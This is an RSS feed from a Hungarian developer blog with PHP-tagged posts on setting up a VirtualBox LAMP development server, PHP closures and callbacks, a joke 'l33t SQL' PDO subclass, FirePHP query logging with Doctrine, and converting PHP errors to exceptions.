<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>deadlime.project &#187; PHP</title>
	<atom:link href="http://deadlime.hu/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://deadlime.hu</link>
	<description>squeezed out</description>
	<lastBuildDate>Tue, 24 Jan 2012 21:54:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Gép a gépben</title>
		<link>http://deadlime.hu/2011/12/20/gep-a-gepben/</link>
		<comments>http://deadlime.hu/2011/12/20/gep-a-gepben/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 21:07:35 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[fejlesztés]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[VirtualBox]]></category>

		<guid isPermaLink="false">http://deadlime.hu/?p=298</guid>
		<description><![CDATA[Épp a sorozatos oldal második verziójának fejlesztésébe készülök komolyabban belevágni. Ennek kapcsán eszembe jutott, hogy milyen jó bejegyzést lehetne ebből kanyarítani. Mármint abból, hogy milyen módjai vannak a kényelmes otthoni projekt fejlesztésnek.]]></description>
			<content:encoded><![CDATA[<p style="text-indent: 0;"><img src="http://deadlime.hu/wp-content/uploads/2011/12/gep-a-gepben.jpg" alt="" width="450" height="200" /></p>

<p>Épp a <a href="http://s01e01.hu/">sorozatos oldal</a> második verziójának fejlesztésébe készülök komolyabban belevágni. Ennek kapcsán eszembe jutott, hogy milyen jó bejegyzést lehetne ebből kanyarítani. Mármint abból, hogy milyen módjai vannak a kényelmes otthoni projekt fejlesztésnek.</p>

<p>Összepiszkíthatnánk például a jelenlegi operációs rendszerünket mindenféle web- és egyéb szerverekkel, de ez nem egy szép megoldás. Telepíthetnénk egy extra operációs rendszert egy külön partícióra, de az, hogy a jelenlegiből ki kell lépni, oda pedig be... esélytelenné teszi a fejlesztést egy kellően lusta ember számára (én :)). A legjobb lenne egy külön gép, amit hálózaton keresztül elérünk. Ennek a legköltséghatékonyabb változata a virtuális gép, így ezen a vonalon fogunk tovább haladni. Hozzávalók egy személyre:</p>

<ul>
    <li><a href="https://www.virtualbox.org/wiki/Downloads">VirtualBox</a></li>
    <li><a href="http://www.ubuntu.com/download/server/download">Ubuntu Server</a></li>
    <li>némi sör és pár napra elegendő hideg élelem</li>
</ul>

<p><small>Pro tipp: az Ubuntu szerver iso-ját ne a VirtualBox telepítése közben töltsük le, mert a VirtualBox telepítés közben hajlamos időlegesen megkavarni az internet kapcsolatot és jól meg fog szakadni a letöltés.</small></p>

<h3>Telepítés</h3>

<p>A letöltések és a szokásos next-next-finish telepítés befejeztével hozzáadhatunk egy új Linux / Ubuntu típusú virtuális gépet és egy új virtuális merevlemezt a varázsló segítségével. Még mielőtt elindítanánk, a Settings / Shared Folders részben érdemes hozzáadni egy könyvtárat a saját gépünkről, amiben a projekteket fogjuk tárolni, hogy ne kelljen később Samba-t telepíteni. Az Auto-mount részt ne pipáljuk be, azt később kézzel beállítjuk majd. A Settings / Network részbe se árthat benézni és az Adapter 1-et ízlés szerint megpiszkálgatni. Nálam a Bridged Adapter volt a nyerő az Attached to részben.  A VirtualBox elég okos és az első indításnál felajánlja, hogy etessünk meg a géppel egy CD-t. Ajánlatos itt beadagolni a korábban letöltött Ubuntu szerver iso-ját, mert az nagyban megkönnyíti a telepítést. :)</p>

<p style="text-indent: 0;"><a href="http://deadlime.hu/wp-content/uploads/2011/12/virtualbox_mount_media.jpg"><img src="http://deadlime.hu/wp-content/uploads/2011/12/virtualbox_mount_media_small.jpg" alt="" title="VirtualBox Mount Media" width="450" /></a></p>

<p>Az Ubuntu nem egy bonyolult jószág, így valószínűleg a telepítéssel se lesznek problémák. Amíg fut, tetszés szerint lehet fogyasztani a bespájzolt hideg élelmet illetve sört. Hogy, hogy nem előbb-utóbb eljutunk egy ilyen képernyőhöz:</p>

<p style="text-indent: 0;"><a href="http://deadlime.hu/wp-content/uploads/2011/12/ubuntu_software_selection.jpg"><img src="http://deadlime.hu/wp-content/uploads/2011/12/ubuntu_software_selection_small.jpg" alt="" title="Ubuntu Software Selection" width="450" /></a></p>

<p>Itt a LAMP server-t az Apache-PHP-MySQL szentháromság miatt erősen ajánlott bepipálni, mert valószínűleg szükségünk lesz rá. Én telepíteni szoktam OpenSSH server-t is, mert már annyira hozzászoktam a <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html">PuTTy</a> használatához. :)<br />
Ha ezzel megvagyunk, az első belépés után rögtön érdemes is nyomni egy frissítést:</p>

<pre class="code">sudo apt-get update
sudo apt-get upgrade</pre>

<p>Valamint telepíteni a VirtualBox Guest csomagját a jobb támogatás érdekében:</p>

<pre class="code">sudo apt-get install virtualbox-guest-utils</pre>

<h3>A projekt könyvtárak beállítása</h3>

<p>A fejlesztés a <code>/var/www/</code> könyvtárban fog történni a virtuális gép nézőpontjából. Hogy kényelmes legyen, érdemes ezt kivezetni valahova a gazda gép merevlemezére. Ezért állítottuk be korábban a Shared Folders részt. A művelet elvégzéséhez a következő sorokat kell felvenni az <code>/etc/fstab</code> fájl végére (na jó, a komment nem kötelező :)):</p>

<pre class="code"># VirtualBox Shared Folder
projects /var/www vboxsf auto,rw,uid=1000,gid=33 0 0</pre>

<p>A <code>projects</code> helyére a Shared Folder felvitelénél megadott nevet kell írni. Az <code>uid=1000</code> a rendszer telepítése során létrehozott felhasználó, a <code>gid=33</code> a <code>www-data</code> csoport. A módszernek az az előnye is megvan a Samba-féle megoldással szemben, hogy nem kell futnia a virtuális gépnek ahhoz, hogy a fájlokat módosítani tudjuk. Az uid és gid értékeként megadható számok után az <code>/etc/passwd</code> és <code>/etc/group</code> fájlokban lehet érdeklődni.</p>

<h3>Szerver elérés</h3>

<p>Ha minden jól ment, az <code>ifconfig eth0</code> által kidobott ip címen el tudjuk érni a gépet. Ha nem, akkor a VirtualBox beállítások Network részénél érdemes a lehetőségeket végigpróbálgatni, hogy melyik jön be (ahány hálózat, annyi beállítás).<br />
Az egyszerűséget szem előtt tartva érdemes valami egyedi, egyébként nem létező domain-el felruházni a gépet, hogy ne ip címeket kelljen mindig írogatni. Nálam a <code>*.vbox</code> domain-ek vannak erre fenntartva. A legegyszerűbb, ha a hosts fájlba felvesszük őket (Windows: <code>c:\Windows\System32\drivers\etc\hosts</code>, Linux: <code>/etc/hosts</code>), pl.:</p>

<pre class="code">192.168.1.117 default.vbox
192.168.1.117 projektneve.vbox
192.168.1.117 subdomain.projektneve.vbox</pre>

<h3>Apache, PHP, MySQL beállítás</h3>

<p>Az egyes projektek a <code>/var/www/projektneve.vbox/</code> könyvtárban kapnak helyet. Az alap Apache confignak csinálunk egy <code>default.vbox</code> nevet/könyvtárat:</p>

<pre class="code">mkdir /var/www/default.vbox
sudo mcedit /etc/apache2/sites-available/default</pre>

<p>A megnyíló fájlban a <code>DocmentRoot</code> és a <code>Directory</code> résznél szereplő <code>/var/www/</code> után kell még egy <code>default.vbox/</code>-ot írni. Aztán pedig</p>

<pre class="code">sudo service apache2 reload</pre>

<p>A <code>/etc/apache2/httpd.conf</code>-ba esetleg még érdemes egy <code>ServerName default.vbox</code> sort beledobni és újraindítani az Apache-ot, hogy megszűnjön a <em>"Could not reliably determine the server's fully qualified domain name"</em> hibaüzenet.</p>

<p>A projekt VirtualHost beállításai a <code>/etc/apache2/sites-available/projektneve.conf</code> fájlba kerülnek. Egy egyszerű példa, hogy nagyjából mit is tartalmaz egy ilyen:</p>

<pre class="code prettyprint lang-xml">&lt;VirtualHost *:80&gt;
    ServerName projektneve.vbox
    ServerAlias www.projektneve.vbox

    DocumentRoot /var/www/projektneve.vbox/www
    &lt;Directory /&gt;
        Options FollowSymLinks
        AllowOverride All
    &lt;/Directory&gt;
    &lt;Directory /var/www/projektneve.vbox/www/&gt;
        Options FollowSymLinks
        AllowOverride All
    &lt;/Directory&gt;

    ErrorLog /var/www/projektneve.vbox/log/apache_www_error.log
    CustomLog /var/www/projektneve.vbox/log/apache_www_access.log combined

    LogLevel warn
&lt;/VirtualHost&gt;</pre>

<p>A kész site beállításokat a következő parancsokkal tudjuk engedélyezni:</p>

<pre class="code">sudo a2ensite projektneve.conf
sudo service apache2 reload</pre>

<p>A MySQL-en nincs sok beállítani való, telepítéskor elkérte a root felhasználójához az új jelszót, mást meg nem nagyon kell piszkálni. A vizuálisabb típusoknak esetleg egy phpmyadmin telepítése még nem árthat:</p>

<pre class="code">sudo apt-get install phpmyadmin</pre>

<p>Ha kértük, a csomagból telepítés során be is köti magát az Apache-ba a <code>/etc/apache2/conf.d/phpmyadmin.conf</code> segítségével és a <code>http://ipcím/phpmyadmin/</code> címen el is érhető az oldal. Ehelyett, ha kedvünk tartja létrehozhatunk neki egy saját VirtualHost-ot is akár.</p>

<p>A PHP beállításánál érdemes arra törekedni, hogy minél jobban hasonlítson az éles rendszerre, így ezzel kapcsolatban nem sokat tudok mondani.</p>

<p>Első körben ennyi, kellemes telepítgetést. :)</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2011/12/20/gep-a-gepben/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A névtelenbe és tovább</title>
		<link>http://deadlime.hu/2011/05/30/a-nevtelenbe-es-tovabb/</link>
		<comments>http://deadlime.hu/2011/05/30/a-nevtelenbe-es-tovabb/#comments</comments>
		<pubDate>Mon, 30 May 2011 21:31:26 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[closure]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/?p=203</guid>
		<description><![CDATA[Bár nem tegnap történt, hogy az 5.3-as sorozat első verziója kijött, gondoltam kicsit körbejárom a névtelen függvények témakörét az ősidőktől napjainking.]]></description>
			<content:encoded><![CDATA[<p style="text-indent: 0;"><img src="http://deadlime.hu/wp-content/uploads/2011/05/buzz1.jpg" alt="" title="Buzz Lightyear" width="450" height="190" /></p>

<p>Bár nem tegnap történt, hogy az 5.3-as sorozat első verziója kijött, gondoltam kicsit körbejárom a névtelen függvények témakörét az ősidőktől napjainking. Az ősidő alatt itt természetesen a 4-es verziót értem, amikor még csak a <code>call_user_func</code> állt a rendelkezésünkre. Lássuk, hogyan is ment ez.</p>

<p>A <code>create_function</code> módszer (attól tekintsünk el, hogy a <code>__FUNCTION__</code> varázskonstans csak a 4.3-as verzióban jelent meg):</p>

<pre class="code prettyprint lang-php">$f = create_function('', 'echo __FUNCTION__ . &quot;\n&quot;;');
call_user_func($f);</pre>

<p>A függvény neve stringként módszer:</p>

<pre class="code prettyprint lang-php">$f = 'myFunction';
call_user_func($f);</pre>

<p>Az osztály és a statikus metódus neve tömbként:</p>

<pre class="code prettyprint lang-php">$f = array('MyClass', 'myStaticFunction');
call_user_func($f);</pre>

<p>Az objektum és a metódus neve tömbként:</p>

<pre class="code prettyprint lang-php">$c = new MyClass();
$f = array($c, 'myFunction');
call_user_func($f);</pre>

<p>Az osztály és a statikus metódus neve stringként (5.2.3-as PHP-tól):</p>

<pre class="code prettyprint lang-php">$f = 'MyClass::myStaticFunction';
call_user_func($f);</pre>

<p>Az objektum meghívása (5.3.0-s PHP-tól):</p>

<pre class="code prettyprint lang-php">$c = new MyClass();
call_user_func($c);</pre>

<p>És ezzel el is érkeztünk a jelenhez. Az 5.3.0-s verzióval megjelentek a closure-ök (az újfajta névtelen függvények), amolyan JavaScript-es definiálással:</p>

<pre class="code prettyprint lang-php">$f = function () {
};</pre>

<p>Természetesen a teljes visszafelé kompatibilitásról ne is álmodjunk ezért kezdjük is el végignézni az előző módokat, hogy mi működik továbbra is:</p>

<p>A <code>create_function</code> módszer megy továbbra is (emlékeim szerint 5.3 előtt is működött így, ezért ez nem túl meglepő):</p>

<pre class="code prettyprint lang-php">$f = create_function('', 'echo __FUNCTION__ . &quot;\n&quot;;');
$f();</pre>

<p>A függvény neve stringként módszer (működik):</p>

<pre class="code prettyprint lang-php">$f = 'myFunction';
$f();</pre>

<p>Itt sajnos meg is állhatunk. A tömbös rendszerek (<em>PHP Fatal error: Function name must be a string</em>) és az osztály+statikus metódus neve stringként (<em>PHP Fatal error: Call to undefined function MyClass::myStaticFunction()</em>) nem működik.</p>

<p>Maradt még az objektum direkt meghívása, ami működik, de ez sem túl nagy meglepetés, mivel az 5.3.0-s verzióbal vezették be hozzá az új varázsmetódust:</p>

<pre class="code prettyprint lang-php">$c = new MyClass();
$c();</pre>

<p>Ilyenkor (és a <code>call_user_func</code>-os esetben is) az osztály <code>__invoke()</code> metódusa hívódik meg.</p>

<p>Ezzel azt hiszem nagyjából ki is veséztük a különböző callback típusok és névtelen függvények hívhatóságát. Maradt még némi scope kérdés, de az házi feladat (annyit megsúgok, hogy a <code>use</code> a kulcsszó). Egy kis segítség hozzá:</p>

<ul>
    <li><a href="http://www.php.net/manual/en/functions.anonymous.php">Anonymous functions</a> [php.net]</li>
    <li><a href="http://www.php.net/manual/en/language.pseudo-types.php#language.types.callback">Callback pseudo-type</a> [php.net]</li>
    <li><a href="https://wiki.php.net/rfc/closures">RFC: Lambda functions and closures</a> [wiki.php.net]</li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2011/05/30/a-nevtelenbe-es-tovabb/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mit nézel?</title>
		<link>http://deadlime.hu/2010/06/04/mit-nezel/</link>
		<comments>http://deadlime.hu/2010/06/04/mit-nezel/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 18:51:52 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/?p=179</guid>
		<description><![CDATA[Úgy tűnik tartom magamat az elmúlt években már megszokott kontent mennyiséghez. Most is csak azért írok, hogy hírt adjak arról, hogy összedobtam egy kis oldalt, aminek segítségével nyomon lehet követni ismerőseink és saját magunk sorozatnézési szokásait. Használjátok egészséggel. :) Ja... a cím: s01e01.hu]]></description>
			<content:encoded><![CDATA[<p>Úgy tűnik tartom magamat az elmúlt években már megszokott kontent mennyiséghez. Most is csak azért írok, hogy hírt adjak arról, hogy összedobtam egy kis oldalt, aminek segítségével nyomon lehet követni ismerőseink és saját magunk sorozatnézési szokásait. Használjátok egészséggel. :)</p>

<p>Ja... a cím: <a href="http://s01e01.hu/">s01e01.hu</a></p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2010/06/04/mit-nezel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PDO móka: l33t SQL</title>
		<link>http://deadlime.hu/2009/09/05/pdo-moka-l33t-sql/</link>
		<comments>http://deadlime.hu/2009/09/05/pdo-moka-l33t-sql/#comments</comments>
		<pubDate>Sat, 05 Sep 2009 19:58:07 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[PDO]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/?p=169</guid>
		<description><![CDATA[Már lassan egy éve nem volt új bejegyzés, gondoltam ideje írni valamit. :) Régebben már volt szó a PHP objektum-orientált adatbázis elérési felületéről, a PDO-ról. Mivel utóbb inkább csak a használatára tértem ki, nem lett megemlítve, hogy ezekből az osztályokból származtathatjuk saját osztályainkat is, ami alapvetően egy jó dolog tud lenni. Vegyünk is egy egyszerű [...]]]></description>
			<content:encoded><![CDATA[<p>Már lassan egy éve nem volt új bejegyzés, gondoltam ideje írni valamit. :) Régebben már volt szó <a href="http://deadlime.hu/2006/02/11/mi-is-az-a-pdo/">a PHP objektum-orientált adatbázis elérési felületéről</a>, a PDO-ról. Mivel utóbb inkább csak a használatára tértem ki, nem lett megemlítve, hogy ezekből az osztályokból származtathatjuk saját osztályainkat is, ami alapvetően egy jó dolog tud lenni.</p>

<p>Vegyünk is egy egyszerű példát. Tegyük fel azt, hogy már annyira jók vagyunk, hogy az SQL szerverrel is csak <a href="http://en.wikipedia.org/wiki/Leet">l33t nyelven</a> vagyunk hajlandóak kommunikálni. Persze a mysqld (vagy egyéb tetszőleges daemon) nem ilyen megértő, és folyamatosan panaszkodik, hogy nem ért meg minket. A probléma elsimítása érdekében származtatunk a beépített PDO osztályból egy sajátot:</p>

<pre class="code prettyprint lang-php">class L33tPDO extends PDO {
	private static $from = array(
		's3l3ct', 'fr0m', 'wh3r3', 's3t', '1ns3rt', '1nt0', 'upd4t3', '0rd3r', '4sc', 'd3sc', 'l3ft', 'r1ght', '1nn3r', 'j01n'
	);
	private static $to = array(
		'SELECT', 'FROM', 'WHERE', 'SET', 'INSERT', 'INTO', 'UPDATE', 'ORDER', 'ASC', 'DESC', 'LEFT', 'RIGHT', 'INNER', 'JOIN'
	);
	public function query($statement, $type = false, $param1 = false, $param2 = false) {
		$statement = $this-&gt;convertStatement($statement);
		
		if ($type &amp;&amp; $param1 &amp;&amp; $param2) {
			return parent::query($statement, $type, $param1, $param2);
		}
		if ($type &amp;&amp; $param1) {
			return parent::query($statement, $type, $param1);
		}
		if ($type) {
			return parent::query($statement, $type);
		}
		
		return parent::query($statement);
	}
	public function prepare($statement, $driver_options = array()) {
		$statement = $this-&gt;convertStatement($statement);
		parent::prepare($statement, $driver_options);
	}
	private function convertStatement($statement) {
		return str_ireplace(self::$from, self::$to, $statement);
	}
}</pre>

<p>Hogy takarékoskodjunk a hellyel, a kulcsszavak listája nem teljes. Nézzünk is egy példát a  használatra:</p>

<pre class="code prettyprint lang-php">$conn = new L33tPDO('pgsql:host=localhost port=5432 dbname=test user=test password=test');

$stmt = $conn-&gt;query(&quot;s3l3ct * fr0m users wh3r3 id &gt; 1 0rd3r by login_name 4sc&quot; );

var_dump($stmt-&gt;fetchAll());</pre>

<p>Bár a felhozott példa nem igényli, a PDOStatement osztályból is származtathatunk sajátot, csak meg kell mondanunk a saját PDO osztályunknak, hogy az általunk írt PDOStatement-tet adja vissza a megfelelő függvényei. Ehhez bővítsük ki a L33tPDO osztályunkat egy konstruktorral:</p>

<pre class="code prettyprint lang-php">function __construct($dsn, $username = null, $password = null, $driver_options = array()) {
	parent::__construct($dsn, $username, $password, $driver_options);
	
	$this-&gt;setAttribute(PDO::ATTR_STATEMENT_CLASS, array('L33tPDOStatement', array($this)));
}</pre>

<p>És egy hozzá passzoló statement osztály:</p>

<pre class="code prettyprint lang-php">class L33tPDOStatement extends PDOStatement {
	private $dbh;
	protected function __construct($dbh) {
		$this -&gt; dbh = $dbh;
	}
}</pre>

<p>Ennyit mára. További kellemes kódolást.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2009/09/05/pdo-moka-l33t-sql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Debuggolás, jól átsütve</title>
		<link>http://deadlime.hu/2008/12/15/debuggolas-jol-atsutve/</link>
		<comments>http://deadlime.hu/2008/12/15/debuggolas-jol-atsutve/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 20:51:06 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[Doctrine]]></category>
		<category><![CDATA[Firebug]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[FirePHP]]></category>
		<category><![CDATA[logolás]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/?p=137</guid>
		<description><![CDATA[Talán nem túlzás azt állítani, hogy a Firebug a legjobb dolgok közé tartozik, ami manapság egy JavaScript fejlesztővel történhetnek. A több mint 10 millió letöltés, valamint a tény, hogy - bár maga is kiegészítő - kiegészítőket fejlesztenek hozzá elég bizonyítékul is szolgálhat ennek alátámasztására. Egy ilyen kiegészítőbe futottam bele még valamikor a múlt héten, ami [...]]]></description>
			<content:encoded><![CDATA[<p>Talán nem túlzás azt állítani, hogy a Firebug a legjobb dolgok közé tartozik, ami manapság egy JavaScript fejlesztővel történhetnek. A több mint 10 millió letöltés, valamint a tény, hogy - bár maga is kiegészítő - kiegészítőket fejlesztenek hozzá elég bizonyítékul is szolgálhat ennek alátámasztására. Egy ilyen kiegészítőbe futottam bele még valamikor a múlt héten, ami a FirePHP nevet viseli (a nevével ellentétben bármely más szerver oldali nyelvvel használható, ami képes header-öket kiküldeni). Nincs is másra szükségünk csak egy <a href="http://www.mozilla-europe.org/hu/firefox/">Firefox</a>-ra (ez remélhetőleg már mindenkinek van :)), egy <a href="http://getfirebug.com/">Firebug</a>-ra (ez is esélyes lehet, hogy akad a közelben) és a <a href="http://www.firephp.org/">FirePHP</a>-ra. Meg egy kis szerveroldali scriptre, ami szintén a FirePHP oldaláról tölthető le.</p>

<p style="text-align: center;"><img src="http://deadlime.hu/wp-content/uploads/2008/12/firephp.png" alt="FirePHP" title="FirePHP" width="310" height="120" class="size-full wp-image-140" /></p>

<p>A kiterjesztés mögött rejlő ötlet rettentően egyszerű (és talán éppen ezért olyan fantasztikus): küldjünk ki pár speciális fejlécet valamiféle JSON tartalommal, amit kliens oldalon a kiegészítő feldolgoz és a Firebug segítségével szépen meg is jelenít. Ezek lehetnek több prioritásba sorolható egyszerű szöveges üzenetek (hasonlóak a Firebug beépített üzeneteihez), táblázatok, szépen formázott backtrace-ek vagy akár <a href="http://php.net/print_r">print_r()</a>-hez hasonló információk változókról.</p><span id="more-137"></span>

<p>Nézzünk is egy példát a felhasználásra: jelenítsük meg az oldal legenerálása során küldött SQL lekérdezéseket, külön kiemelve azokat, amik lassabban futnak, mint szeretnénk (a példához <a href="http://www.doctrine-project.org/">Doctrine</a> van használva):</p>

<pre class="code prettyprint lang-php">class My_Doctrine_Logger extends Doctrine_EventListener {
    private $queryTime;
    public function preQuery(Doctrine_Event $event) {
        $this-&gt;queryTime = microtime(true);
    }
    public function preStmtExecute(Doctrine_Event $event) {
        $this-&gt;queryTime = microtime(true);
    }
    public function postQuery(Doctrine_Event $event) {
        $this-&gt;logQuery($event-&gt;getQuery());
    }
    public function postStmtExecute(Doctrine_Event $event) {
        $this-&gt;logQuery($event-&gt;getQuery());
    }
    private function logQuery($queryString) {
        $t = microtime(true) - $this-&gt;queryTime;
        
        $msg = '['.str_pad(round($t, 5), 7, '0').']: '.$queryString;
        
        if ($t &gt; 0.01) {
            FB::warn('Slow SQL Query: '.$msg);
        }
        else {
            FB::info('SQL Query: '.$msg);
        }
    }
}</pre>

<p>És ehhez még nem árt valami ilyesmit is hozzácsapni, hogy a Doctrine tudjon a mi kis osztályunkról:</p>

<pre class="code prettyprint lang-php">$conn = Doctrine_Manager::connection( $dsn );
$conn-&gt;addListener(new My_Doctrine_Logger());</pre>

<p>Az egészből az <code>FB::</code> kezdetű sorok érdekesek csak. A működésükhöz szükség lehet az output buffering bekapcsolására vagy kellő önuralomra, hogy az utolsó <code>FB::</code>-s hívásig nem nyomunk ki semmit a kimenetre. :)<br/>
Ami még érdekes lehet, hogy Ajax-os kérések és Location fejléccel átirányított oldalak hasonló üzenetei is megjelennek a Firebug ablakában, szépen csoportosítva, ezzel végtelenül egyszerűvé téve az Ajaxos kérések és a rájuk érkező válaszok hibamentesítését, sok-sok órát megspórolva ezzel szegény fejlesztőknek. Mindezt természetesen anélkül, hogy az eredeti tartalmat teleszemetelnénk mindenféle nem odavaló dologgal (csúnyán is nézne ki a JSON válasz közepén egy méretes <a href="http://php.net/var_dump">var_dump()</a> kimenet, arról nem is beszélve, hogy a kliens oldalon se tudna vele túl sokat kezdeni a JavaScript).</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2008/12/15/debuggolas-jol-atsutve/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A kivétel erősíti a... kódot</title>
		<link>http://deadlime.hu/2008/09/22/a-kivetel-erositi-a-kodot/</link>
		<comments>http://deadlime.hu/2008/09/22/a-kivetel-erositi-a-kodot/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 19:15:29 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[hibakezelés]]></category>
		<category><![CDATA[kivételek]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/?p=131</guid>
		<description><![CDATA[A szokásos "napi" php.net böngészgetésem során bukkantam rá a lentebb olvasható kódrészletre (bár nem egy bonyolult dolog, de mégsem jutott volna magamtól eszembe), amit szerintem kötelezővé kellene tenni minden egyes PHP alapú alkalmazás fejlesztési időszaka alatt. A kód nem csinál mást, mint hogy minden hibát kivétellé alakít át, így ha nincsenek elkapva, akkor egy egyszerű [...]]]></description>
			<content:encoded><![CDATA[<p>A szokásos "napi" <a href="http://php.net/">php.net</a> böngészgetésem során bukkantam rá a lentebb olvasható kódrészletre (bár nem egy bonyolult dolog, de mégsem jutott volna magamtól eszembe), amit szerintem kötelezővé kellene tenni minden egyes PHP alapú alkalmazás fejlesztési időszaka alatt. A kód nem csinál mást, mint hogy minden hibát kivétellé alakít át, így ha nincsenek elkapva, akkor egy egyszerű <code>E_NOTICE</code>-tól is lehal az oldal fatal error-ral, az <code>error_reporting</code> beállítástól függetlenül. :)</p>

<pre class="code prettyprint lang-php">function error_handler($errno, $errstr, $errfile, $errline)
{
    throw new ErrorException(
        $errstr, 0, $errno,
        $errfile, $errline
    );
}
set_error_handler('error_handler');</pre>

<p>Egyéni ízlés kérdése, de én még az alábbi kóddal kiegészíteném, hogy fatal error-ok helyett inkább valami olvasható dolgot kapjak:</p>

<pre class="code prettyprint lang-php">function exception_handler($ex)
{
	print('&lt;pre&gt;'.$ex.'&lt;/pre&gt;');
}
set_exception_handler('exception_handler');</pre>

<p>És hogy miért is lenne hasznos? Elég sokan kikapcsolják az <code>E_NOTICE</code>-ok jelzését még fejlesztés alatt is, mondván hogy az nem számít. Pedig elég sok kisebb hibára (pl. változó név vagy tömb kulcs elgépelésekre) hívhatná fel a figyelmet, amik így csak a tesztelési időszakban derülnek ki (ha kiderülnek). Emellett biztonsági haszna is van, mint az <a href="http://www.php.net/manual/en/security.errors.php">a php.net-en is olvasható</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2008/09/22/a-kivetel-erositi-a-kodot/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Kígyóbűvölés alapfokon</title>
		<link>http://deadlime.hu/2008/07/27/kigyobuvoles-alapfokon/</link>
		<comments>http://deadlime.hu/2008/07/27/kigyobuvoles-alapfokon/#comments</comments>
		<pubDate>Sat, 26 Jul 2008 23:46:39 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://deadlime.hu/?p=114</guid>
		<description><![CDATA[Néha a lustaságomon felül kerekedik az a vágy, hogy új programozási nyelveket ismerjek meg. Ennek lett a legfrissebb áldozata a Python. Bár már volt vele dolgom régebben is, de körülbelül csak egy Fibonacci-számokat számoló rekurzív függvény megvalósításáig jutottam (az is nagy valószínűséggel valami példakód volt valamelyik segédletből). Magáról a nyelvről azt lehet elmondani, hogy feltűnően [...]]]></description>
			<content:encoded><![CDATA[<p>Néha a lustaságomon felül kerekedik az a vágy, hogy új programozási nyelveket ismerjek meg. Ennek lett a legfrissebb áldozata a <a href="http://www.python.org/">Python</a>. Bár már volt vele dolgom régebben is, de körülbelül csak egy Fibonacci-számokat számoló rekurzív függvény megvalósításáig jutottam (az is nagy valószínűséggel valami példakód volt valamelyik segédletből).</p>

<p>Magáról a nyelvről azt lehet elmondani, hogy feltűnően szépnek mondható ahhoz képest, hogy a Pascal-stílusú nyelvek közé tartozik. És nem csak egyszerűen szép, hanem törekszik arra, hogy a benne írt kód is szép legyen (ahogy az a <a href="http://wiki.python.org/moin/PythonPhilosophy">Python filozófiáinak listájában</a> is szerepel: <em>"Beautiful is better than ugly."</em>). Persze ehhez az is kell, hogy ne csak Python nyelven, de Python stílusban is programozunk.<br/>
A kinézetet tekintve legszembetűnőbb különbség más nyelvekhez képest a kód kötelező indentálása. Nincsenek sorvégi pontok, pontosvesszők, if-eket és egyéb blokkszerkezeteket lezáró hullámos zárójelek vagy kulcsszavak. Minden az új sor karakterek és az indentálás alapján dől el. De mivel kódolás közben a nagy többség amúgy is szokott új sorokat és tabokat használni (és mivel a kötelező indentálás az esetek közel 100%-ában megegyezik azzal, amúgy is használnánk), ezért elég gyorsan hozzá lehet szokni ahhoz, hogy tulajdonképpen kevesebbet kell gépelni. Persze ez még kevés ahhoz, hogy használható is legyen valamire. Mivel napjaim nagy részét a webprogramozás teszi ki, ezért a szintaktikai ismerkedés után első dolgom az volt, hogy utánanézzek, mire is képes a kígyó a weben...</p><span id="more-114"></span>

